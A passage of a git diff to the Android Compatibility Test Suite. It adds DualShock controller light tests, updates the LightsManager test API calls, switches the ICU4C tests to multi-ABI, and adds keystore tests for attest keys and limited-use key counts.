+                    assertEquals("Led data index " + index, value, actual);
+
+                }
+
+                // Then the light state should be what we requested.
+                if (test.lightPlayerId > 0) {
+                    assertThat(lightsManager.getLightState(light).getPlayerId())
+                            .isEqualTo(test.lightPlayerId);
+                } else {
+                    assertThat(lightsManager.getLightState(light).getColor())
+                            .isEqualTo(test.lightColor);
+                }
+            }
+        }
+    }
+
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index a95f8c0..f4dc9b9 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -59,6 +59,8 @@
     // Stores the name of the currently running test
     protected String mCurrentTestCase;
     private int mRegisterResourceId; // raw resource that contains json for registering a hid device
+    protected int mVid;
+    protected int mPid;
 
     // State used for motion events
     private int mLastButtonState;
@@ -79,6 +81,8 @@
         mActivityRule.getActivity().clearUnhandleKeyCode();
         mDecorView = mActivityRule.getActivity().getWindow().getDecorView();
         mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        mVid = mParser.readVendorId(mRegisterResourceId);
+        mPid = mParser.readProductId(mRegisterResourceId);
         int deviceId = mParser.readDeviceId(mRegisterResourceId);
         String registerCommand = mParser.readRegisterCommand(mRegisterResourceId);
         setUpDevice(deviceId, mParser.readVendorId(mRegisterResourceId),
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock3UsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock3UsbTest.java
index 6f4762f..dc53e74 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock3UsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock3UsbTest.java
@@ -42,4 +42,9 @@
     public void testAllMotions() {
         testInputEvents(R.raw.sony_dualshock3_usb_motioneventtests);
     }
+
+    @Test
+    public void testLights() throws Exception {
+        testInputLightsManager(R.raw.sony_dualshock3_usb_lighttests);
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
index 36c41f2..f8be924 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
@@ -44,7 +44,7 @@
     }
 
     @Test
-    public void testVibrator() {
+    public void testVibrator() throws Exception {
         testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
     }
 
@@ -59,4 +59,9 @@
             testInputEvents(R.raw.sony_dualshock4_toucheventtests);
         }
     }
+
+    @Test
+    public void testLights() throws Exception {
+        testInputLightsManager(R.raw.sony_dualshock4_bluetooth_lighttests);
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
index 5c83ab5..8a95e9c 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
@@ -44,7 +44,7 @@
     }
 
     @Test
-    public void testVibrator() {
+    public void testVibrator() throws Exception {
         testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
     }
 
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
index e0f8d99..739ea36 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
@@ -49,7 +49,7 @@
     }
 
     @Test
-    public void testVibrator() {
+    public void testVibrator() throws Exception {
         testInputVibratorEvents(R.raw.sony_dualshock4_usb_vibratortests);
     }
 }
diff --git a/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java b/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java
index aca19ec..622f7b0 100755
--- a/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java
+++ b/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java
@@ -28,7 +28,6 @@
 import android.hardware.lights.LightState;
 import android.hardware.lights.LightsManager;
 
-import androidx.annotation.ColorInt;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
@@ -92,7 +91,7 @@
         try (LightsManager.LightsSession session = mManager.openSession()) {
             // When the session requests to turn a single light on:
             session.requestLights(new Builder()
-                    .setLight(mLights.get(0), STATE_RED)
+                    .addLight(mLights.get(0), STATE_RED)
                     .build());
 
             // Then the light should turn on.
@@ -107,8 +106,8 @@
         try (LightsManager.LightsSession session = mManager.openSession()) {
             // When the session requests to turn two of the lights on:
             session.requestLights(new Builder()
-                    .setLight(mLights.get(0), new LightState(0xffaaaaff))
-                    .setLight(mLights.get(1), new LightState(0xffbbbbff))
+                    .addLight(mLights.get(0), new LightState(0xffaaaaff))
+                    .addLight(mLights.get(1), new LightState(0xffbbbbff))
                     .build());
 
             // Then both should turn on.
@@ -131,7 +130,7 @@
 
         try (LightsManager.LightsSession session = mManager.openSession()) {
             // When a session commits changes:
-            session.requestLights(new Builder().setLight(mLights.get(0), STATE_TAN).build());
+            session.requestLights(new Builder().addLight(mLights.get(0), STATE_TAN).build());
             // Then the light should turn on.
             assertThat(mManager.getLightState(mLights.get(0)).getColor()).isEqualTo(ON_TAN);
 
@@ -150,8 +149,8 @@
                 LightsManager.LightsSession session2 = mManager.openSession()) {
 
             // When session1 and session2 both request the same light:
-            session1.requestLights(new Builder().setLight(mLights.get(0), STATE_TAN).build());
-            session2.requestLights(new Builder().setLight(mLights.get(0), STATE_RED).build());
+            session1.requestLights(new Builder().addLight(mLights.get(0), STATE_TAN).build());
+            session2.requestLights(new Builder().addLight(mLights.get(0), STATE_RED).build());
             // Then session1 should win because it was created first.
             assertThat(mManager.getLightState(mLights.get(0)).getColor()).isEqualTo(ON_TAN);
 
@@ -173,7 +172,7 @@
 
         try (LightsManager.LightsSession session = mManager.openSession()) {
             // When the session turns a light on:
-            session.requestLights(new Builder().setLight(mLights.get(0), STATE_RED).build());
+            session.requestLights(new Builder().addLight(mLights.get(0), STATE_RED).build());
             // And then the session clears it again:
             session.requestLights(new Builder().clearLight(mLights.get(0)).build());
             // Then the light should turn back off.
diff --git a/tests/tests/icu/Android.bp b/tests/tests/icu/Android.bp
index df1f6d0..3899db8 100644
--- a/tests/tests/icu/Android.bp
+++ b/tests/tests/icu/Android.bp
@@ -36,8 +36,10 @@
     defaults: ["cts_support_defaults"],
     test_config: "CtsIcu4cTestCases.xml",
     data: [
-        ":cintltst",
-        ":intltest",
+        ":cintltst32",
+        ":cintltst64",
+        ":intltest32",
+        ":intltest64",
         ":icu4c_test_data",
         ":ICU4CTestRunner",
     ],
diff --git a/tests/tests/icu/CtsIcu4cTestCases.xml b/tests/tests/icu/CtsIcu4cTestCases.xml
index acef467..c216b3a 100644
--- a/tests/tests/icu/CtsIcu4cTestCases.xml
+++ b/tests/tests/icu/CtsIcu4cTestCases.xml
@@ -17,17 +17,18 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <!-- Test single abi only due to a limitation in Soong http://b/141637587#comment28. -->
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
-        <option name="push" value="icu.cintltst->/data/local/tmp/cintltst" />
+        <option name="append-bitness" value="true" />
+        <option name="push" value="cintltst->/data/local/tmp/cintltst" />
         <option name="post-push" value="chmod a+x /data/local/tmp/cintltst" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
-        <option name="push" value="icu.intltest->/data/local/tmp/intltest" />
+        <option name="append-bitness" value="true" />
+        <option name="push" value="intltest->/data/local/tmp/intltest" />
         <option name="post-push" value="chmod a+x /data/local/tmp/intltest" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
diff --git a/tests/tests/icu/icu4c_testapp/AndroidManifest.xml b/tests/tests/icu/icu4c_testapp/AndroidManifest.xml
index 8195600..c2051b4 100644
--- a/tests/tests/icu/icu4c_testapp/AndroidManifest.xml
+++ b/tests/tests/icu/icu4c_testapp/AndroidManifest.xml
@@ -16,7 +16,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.icu4c.cts">
-    <application>
+    <!-- extractNativeLibs="false" is needed to run on secondary ABI. -->
+    <application android:extractNativeLibs="false">
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/keystore/Android.bp b/tests/tests/keystore/Android.bp
index 0fa7cf7..71a4035 100644
--- a/tests/tests/keystore/Android.bp
+++ b/tests/tests/keystore/Android.bp
@@ -44,16 +44,16 @@
     ],
     static_libs: [
         "androidx.test.rules",
-        "core-tests-support",
         "compatibility-device-util-axt",
-        "ctstestrunner-axt",
-        "hamcrest-library",
-        "guava",
-        "junit",
-        "cts-security-test-support-library",
+        "core-tests-support",
         "cts-keystore-user-auth-helper-library",
-        "platformprotosnano",
+        "cts-security-test-support-library",
         "cts-wm-util",
+        "ctstestrunner-axt",
+        "guava",
+        "hamcrest-library",
+        "junit",
+        "platformprotosnano",
         "testng",
     ],
     srcs: ["src/android/keystore/**/*.java"],
diff --git a/tests/tests/keystore/src/android/keystore/cts/AttestKeyTest.java b/tests/tests/keystore/src/android/keystore/cts/AttestKeyTest.java
new file mode 100644
index 0000000..d5d12f3
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/AttestKeyTest.java
@@ -0,0 +1,211 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import static android.keystore.cts.KeyAttestationTest.verifyCertificateChain;
+import static android.security.keystore.KeyProperties.KEY_ALGORITHM_EC;
+import static android.security.keystore.KeyProperties.PURPOSE_ATTEST_KEY;
+import static android.security.keystore.KeyProperties.PURPOSE_SIGN;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.security.keystore.KeyGenParameterSpec;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.security.GeneralSecurityException;
+import java.security.InvalidAlgorithmParameterException;
+import java.security.KeyPairGenerator;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.cert.Certificate;
+import java.security.cert.X509Certificate;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.stream.Stream;
+
+import javax.security.auth.x500.X500Principal;
+
+public class AttestKeyTest {
+    private static final String TAG = AttestKeyTest.class.getSimpleName();
+
+    private KeyStore mKeyStore;
+    private ArrayList<String> mAliasesToDelete = new ArrayList();
+
+    @Before
+    public void setUp() throws Exception {
+        mKeyStore = KeyStore.getInstance("AndroidKeyStore");
+        mKeyStore.load(null);
+
+        // Assume attest key support for all tests in this class.
+        assumeAttestKey();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        for (String alias : mAliasesToDelete) {
+            try {
+                mKeyStore.deleteEntry(alias);
+            } catch (Throwable t) {
+                // Ignore any exception and delete the other aliases in the list.
+            }
+        }
+    }
+
+    @Test
+    public void testEcAttestKey() throws Exception {
+        final String attestKeyAlias = "attestKey";
+
+        Certificate attestKeyCertChain[] = generateKeyPair(KEY_ALGORITHM_EC,
+                new KeyGenParameterSpec.Builder(attestKeyAlias, PURPOSE_ATTEST_KEY)
+                        .setAttestationChallenge("challenge".getBytes())
+                        .build());
+        assertThat(attestKeyCertChain.length, greaterThan(1));
+
+        final String attestedKeyAlias = "attestedKey";
+        Certificate attestedKeyCertChain[] = generateKeyPair(KEY_ALGORITHM_EC,
+                new KeyGenParameterSpec.Builder(attestedKeyAlias, PURPOSE_SIGN)
+                        .setAttestationChallenge("challenge".getBytes())
+                        .setAttestKeyAlias(attestKeyAlias)
+                        .build());
+        // Even though we asked for an attestation, we only get one cert.
+        assertThat(attestedKeyCertChain.length, is(1));
+
+        verifyCombinedChain(attestKeyCertChain, attestedKeyCertChain);
+
+        X509Certificate attestationCert = (X509Certificate) attestedKeyCertChain[0];
+        Attestation attestation = Attestation.loadFromCertificate(attestationCert);
+    }
+
+    @Test
+    public void testAttestationWithNonAttestKey() throws Exception {
+        final String nonAttestKeyAlias = "nonAttestKey";
+        final String attestedKeyAlias = "attestedKey";
+        generateKeyPair(KEY_ALGORITHM_EC,
+                new KeyGenParameterSpec.Builder(nonAttestKeyAlias, PURPOSE_SIGN).build());
+
+        try {
+            generateKeyPair(KEY_ALGORITHM_EC,
+                    new KeyGenParameterSpec.Builder(attestedKeyAlias, PURPOSE_SIGN)
+                            .setAttestationChallenge("challenge".getBytes())
+                            .setAttestKeyAlias(nonAttestKeyAlias)
+                            .build());
+            fail("Expected exception.");
+        } catch (InvalidAlgorithmParameterException e) {
+            assertThat(e.getMessage(), is("Invalid attestKey, does not have PURPOSE_ATTEST_KEY"));
+        }
+    }
+
+    @Test
+    public void testAttestKeyWithoutChallenge() throws Exception {
+        final String attestKeyAlias = "attestKey";
+        final String attestedKeyAlias = "attestedKey";
+        generateKeyPair(KEY_ALGORITHM_EC,
+                new KeyGenParameterSpec.Builder(attestKeyAlias, PURPOSE_ATTEST_KEY).build());
+
+        try {
+            generateKeyPair(KEY_ALGORITHM_EC,
+                    new KeyGenParameterSpec.Builder(attestedKeyAlias, PURPOSE_SIGN)
+                            // Don't set attestation challenge
+                            .setAttestKeyAlias(attestKeyAlias)
+                            .build());
+            fail("Expected exception.");
+        } catch (InvalidAlgorithmParameterException e) {
+            assertThat(e.getMessage(),
+                    is("AttestKey specified but no attestation challenge provided"));
+        }
+    }
+
+    @Test
+    public void testAttestKeySecurityLevelMismatch() throws Exception {
+        assumeStrongBox();
+
+        final String strongBoxAttestKeyAlias = "nonAttestKey";
+        final String attestedKeyAlias = "attestedKey";
+        generateKeyPair(KEY_ALGORITHM_EC,
+                new KeyGenParameterSpec.Builder(strongBoxAttestKeyAlias,
+                        PURPOSE_ATTEST_KEY).setIsStrongBoxBacked(true).build());
+
+        try {
+            generateKeyPair(KEY_ALGORITHM_EC,
+                    new KeyGenParameterSpec.Builder(attestedKeyAlias, PURPOSE_SIGN)
+                            .setAttestationChallenge("challenge".getBytes())
+                            .setAttestKeyAlias(strongBoxAttestKeyAlias)
+                            .build());
+            fail("Expected exception.");
+        } catch (InvalidAlgorithmParameterException e) {
+            assertThat(e.getMessage(),
+                    is("Invalid security level: Cannot sign non-StrongBox key with StrongBox "
+                            + "attestKey"));
+        }
+    }
+
+    private void assumeStrongBox() {
+        PackageManager packageManager =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+        assumeTrue("Can only test if we have StrongBox",
+                packageManager.hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE));
+    }
+
+    private void assumeAttestKey() {
+        PackageManager packageManager =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+        assumeTrue("Can only test if we have the attest key feature.",
+                packageManager.hasSystemFeature(PackageManager.FEATURE_KEYSTORE_APP_ATTEST_KEY));
+    }
+
+    private Certificate[] generateKeyPair(String algorithm, KeyGenParameterSpec spec)
+            throws NoSuchAlgorithmException, NoSuchProviderException,
+            InvalidAlgorithmParameterException, KeyStoreException {
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance(algorithm,
+                "AndroidKeyStore");
+        keyPairGenerator.initialize(spec);
+        keyPairGenerator.generateKeyPair();
+        mAliasesToDelete.add(spec.getKeystoreAlias());
+
+        return mKeyStore.getCertificateChain(spec.getKeystoreAlias());
+    }
+
+    private void verifyCombinedChain(Certificate[] attestKeyCertChain,
+            Certificate[] attestedKeyCertChain) throws GeneralSecurityException {
+        Certificate[] combinedChain = Stream
+                .concat(Arrays.stream(attestedKeyCertChain),
+                        Arrays.stream(attestKeyCertChain))
+                .toArray(Certificate[]::new);
+
+        int i = 0;
+        for (Certificate cert : combinedChain) {
+            Log.e(TAG, "Certificate " + i + ": " + cert);
+            ++i;
+        }
+
+        verifyCertificateChain((Certificate[]) combinedChain, false /* expectStrongBox */);
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 456a7c1..a4a6267 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -46,6 +46,7 @@
 import static android.security.keystore.KeyProperties.SIGNATURE_PADDING_RSA_PKCS1;
 import static android.security.keystore.KeyProperties.SIGNATURE_PADDING_RSA_PSS;
 
+import static org.hamcrest.CoreMatchers.containsString;
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.either;
@@ -79,6 +80,8 @@
 import java.security.GeneralSecurityException;
 import java.security.InvalidAlgorithmParameterException;
 import java.security.InvalidKeyException;
+import java.security.Key;
+import java.security.KeyPair;
 import java.security.KeyPairGenerator;
 import java.security.KeyStore;
 import java.security.NoSuchAlgorithmException;
@@ -1216,7 +1219,7 @@
         keyPairGenerator.generateKeyPair();
     }
 
-    private void verifyCertificateChain(Certificate[] certChain, boolean expectStrongBox)
+    public static void verifyCertificateChain(Certificate[] certChain, boolean expectStrongBox)
             throws GeneralSecurityException {
         assertNotNull(certChain);
         for (int i = 1; i < certChain.length; ++i) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyGenParameterSpecTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyGenParameterSpecTest.java
index 3f1cbb6..b9f0977 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyGenParameterSpecTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyGenParameterSpecTest.java
@@ -72,6 +72,7 @@
         assertEquals(0, spec.getUserAuthenticationValidityDurationSeconds());
         assertEquals(KeyProperties.AUTH_BIOMETRIC_STRONG, spec.getUserAuthenticationType());
         assertFalse(spec.isUnlockedDeviceRequired());
+        assertEquals(KeyProperties.UNRESTRICTED_USAGE_COUNT, spec.getMaxUsageCount());
     }
 
     public void testSettersReflectedInGetters() {
@@ -83,6 +84,7 @@
         Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 11111111);
         Date keyValidityEndDateForConsumption = new Date(System.currentTimeMillis() + 33333333);
         AlgorithmParameterSpec algSpecificParams = new ECGenParameterSpec("secp256r1");
+        int maxUsageCount = 1;
 
         KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(
                 "arbitrary", KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_ENCRYPT)
@@ -106,6 +108,7 @@
                 .setUserAuthenticationParameters(12345,
                         KeyProperties.AUTH_DEVICE_CREDENTIAL | KeyProperties.AUTH_BIOMETRIC_STRONG)
                 .setUnlockedDeviceRequired(true)
+                .setMaxUsageCount(maxUsageCount)
                 .build();
 
         assertEquals("arbitrary", spec.getKeystoreAlias());
@@ -135,6 +138,7 @@
         assertEquals(KeyProperties.AUTH_DEVICE_CREDENTIAL | KeyProperties.AUTH_BIOMETRIC_STRONG,
                 spec.getUserAuthenticationType());
         assertTrue(spec.isUnlockedDeviceRequired());
+        assertEquals(maxUsageCount, spec.getMaxUsageCount());
     }
 
     public void testNullAliasNotPermitted() {
@@ -350,4 +354,12 @@
                         .build());
         assertThrows(ProviderException.class, keyGenerator::generateKey);
     }
+
+    public void testIllegalMaxUsageCountNotPermitted() {
+        try {
+            new KeyGenParameterSpec.Builder("LimitedUseKey", KeyProperties.PURPOSE_ENCRYPT)
+            .setMaxUsageCount(0);
+            fail();
+        } catch (IllegalArgumentException expected) {}
+    }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
index 8a238d0..431ffa5 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
@@ -725,6 +725,30 @@
         }
     }
 
+    public void testLimitedUseKey() throws Exception {
+        testLimitedUseKey(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testLimitedUseKey(true /* useStrongbox */);
+        }
+    }
+
+    private void testLimitedUseKey(boolean useStrongbox) throws Exception {
+        int maxUsageCount = 1;
+        for (String algorithm :
+                (useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS)) {
+            try {
+                int expectedSizeBits = DEFAULT_KEY_SIZES.get(algorithm);
+                KeyGenerator keyGenerator = getKeyGenerator(algorithm);
+                keyGenerator.init(getWorkingSpec().setMaxUsageCount(maxUsageCount).build());
+                SecretKey key = keyGenerator.generateKey();
+                assertEquals(expectedSizeBits, TestUtils.getKeyInfo(key).getKeySize());
+                assertEquals(maxUsageCount, TestUtils.getKeyInfo(key).getRemainingUsageCount());
+            } catch (Throwable e) {
+                throw new RuntimeException("Failed for " + algorithm, e);
+            }
+        }
+    }
+
     private static KeyGenParameterSpec.Builder getWorkingSpec() {
         return getWorkingSpec(0);
     }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyInfoTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyInfoTest.java
index 2b1d6fc..d14f6d2 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyInfoTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyInfoTest.java
@@ -26,6 +26,9 @@
 import java.security.KeyPair;
 import java.security.KeyPairGenerator;
 import java.security.PrivateKey;
+import java.security.Provider;
+import java.security.Security;
+import java.security.Signature;
 import java.util.Arrays;
 import java.util.Date;
 
@@ -93,5 +96,42 @@
         String[] originalBlockModes = info.getBlockModes().clone();
         info.getBlockModes()[0] = null;
         assertEquals(Arrays.asList(originalBlockModes), Arrays.asList(info.getBlockModes()));
+
+        // Return KeyProperties.UNRESTRICTED_USAGE_COUNT to indicate there is no restriction on
+        // the number of times that the key can be used.
+        int remainingUsageCount = info.getRemainingUsageCount();
+        assertEquals(KeyProperties.UNRESTRICTED_USAGE_COUNT, remainingUsageCount);
+    }
+
+    public void testLimitedUseKey() throws Exception {
+        Date keyValidityStartDate = new Date(System.currentTimeMillis() - 2222222);
+        Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 11111111);
+        Date keyValidityEndDateForConsumption = new Date(System.currentTimeMillis() + 33333333);
+        int maxUsageCount = 1;
+
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA", "AndroidKeyStore");
+        keyPairGenerator.initialize(new KeyGenParameterSpec.Builder(
+                KeyInfoTest.class.getSimpleName(),
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_ENCRYPT)
+                .setKeySize(1024) // use smaller key size to speed the test up
+                .setKeyValidityStart(keyValidityStartDate)
+                .setKeyValidityForOriginationEnd(keyValidityEndDateForOrigination)
+                .setKeyValidityForConsumptionEnd(keyValidityEndDateForConsumption)
+                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1,
+                        KeyProperties.ENCRYPTION_PADDING_RSA_OAEP)
+                .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PKCS1,
+                        KeyProperties.SIGNATURE_PADDING_RSA_PSS)
+                .setDigests(KeyProperties.DIGEST_SHA256, KeyProperties.DIGEST_SHA512)
+                .setBlockModes(KeyProperties.BLOCK_MODE_ECB)
+                .setMaxUsageCount(maxUsageCount)
+                .build());
+        KeyPair keyPair = keyPairGenerator.generateKeyPair();
+
+        PrivateKey key = keyPair.getPrivate();
+        KeyFactory keyFactory = KeyFactory.getInstance(key.getAlgorithm(), "AndroidKeyStore");
+        KeyInfo info = keyFactory.getKeySpec(key, KeyInfo.class);
+
+        int remainingUsageCount = info.getRemainingUsageCount();
+        assertEquals(maxUsageCount, remainingUsageCount);
     }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java
index 274141e..07cf203 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java
@@ -17,6 +17,7 @@
 package android.keystore.cts;
 
 import android.security.GateKeeper;
+import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
 import android.test.MoreAsserts;
@@ -51,6 +52,7 @@
         assertEquals(KeyProperties.AUTH_BIOMETRIC_STRONG, spec.getUserAuthenticationType());
         assertEquals(GateKeeper.INVALID_SECURE_USER_ID, spec.getBoundToSpecificSecureUserId());
         assertFalse(spec.isUnlockedDeviceRequired());
+        assertEquals(KeyProperties.UNRESTRICTED_USAGE_COUNT, spec.getMaxUsageCount());
     }
 
     public void testSettersReflectedInGetters() {
@@ -59,6 +61,7 @@
         Date keyValidityStartDate = new Date(System.currentTimeMillis() - 2222222);
         Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 11111111);
         Date keyValidityEndDateForConsumption = new Date(System.currentTimeMillis() + 33333333);
+        int maxUsageCount = 1;
 
         KeyProtection spec = new KeyProtection.Builder(
                 KeyProperties.PURPOSE_DECRYPT | KeyProperties.PURPOSE_VERIFY)
@@ -77,6 +80,7 @@
                         KeyProperties.AUTH_DEVICE_CREDENTIAL | KeyProperties.AUTH_BIOMETRIC_STRONG)
                 .setBoundToSpecificSecureUserId(654321)
                 .setUnlockedDeviceRequired(true)
+                .setMaxUsageCount(maxUsageCount)
                 .build();
 
         assertEquals(
@@ -100,6 +104,7 @@
                 spec.getUserAuthenticationType());
         assertEquals(654321, spec.getBoundToSpecificSecureUserId());
         assertTrue(spec.isUnlockedDeviceRequired());
+        assertEquals(spec.getMaxUsageCount(), maxUsageCount);
     }
 
     public void testSetKeyValidityEndDateAppliesToBothEndDates() {
@@ -263,4 +268,11 @@
         assertEquals(Arrays.asList(originalSignaturePaddings),
                 Arrays.asList(spec.getSignaturePaddings()));
     }
+
+    public void testIllegalMaxUsageCountNotPermitted() {
+        try {
+            new KeyProtection.Builder(KeyProperties.PURPOSE_ENCRYPT).setMaxUsageCount(0);
+            fail();
+        } catch (IllegalArgumentException expected) {}
+    }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java b/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
index 086e0b1..cbeb7d7 100644
--- a/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
@@ -19,7 +19,10 @@
 import android.keystore.cts.R;
 
 import java.security.InvalidKeyException;
+import java.security.Key;
+import java.security.KeyFactory;
 import java.security.KeyPair;
+import java.security.KeyStore;
 import java.security.PrivateKey;
 import java.security.Provider;
 import java.security.Provider.Service;
@@ -37,6 +40,8 @@
 import java.util.TreeMap;
 
 import android.content.Context;
+import android.security.keystore.KeyInfo;
+import android.security.keystore.KeyPermanentlyInvalidatedException;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
 import android.test.AndroidTestCase;
@@ -421,6 +426,62 @@
         }
     }
 
+    public void testValidSignatureGeneratedForEmptyMessageByLimitedUseKey()
+            throws Exception {
+        Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
+        assertNotNull(provider);
+        int maxUsageCount = 2;
+        for (String sigAlgorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
+            for (ImportedKey key : importLimitedUseKatKeyPairsForSigning(getContext(), sigAlgorithm, maxUsageCount)) {
+                if (!TestUtils.isKeyLongEnoughForSignatureAlgorithm(
+                        sigAlgorithm, key.getOriginalSigningKey())) {
+                    continue;
+                }
+                try {
+                    KeyPair keyPair = key.getKeystoreBackedKeyPair();
+                    KeyFactory keyFactory = KeyFactory.getInstance(
+                            keyPair.getPrivate().getAlgorithm(), "AndroidKeyStore");
+                    KeyInfo info = keyFactory.getKeySpec(keyPair.getPrivate(), KeyInfo.class);
+                    assertEquals(maxUsageCount, info.getRemainingUsageCount());
+
+                    // The first usage of the limited use key.
+                    // Generate a signature
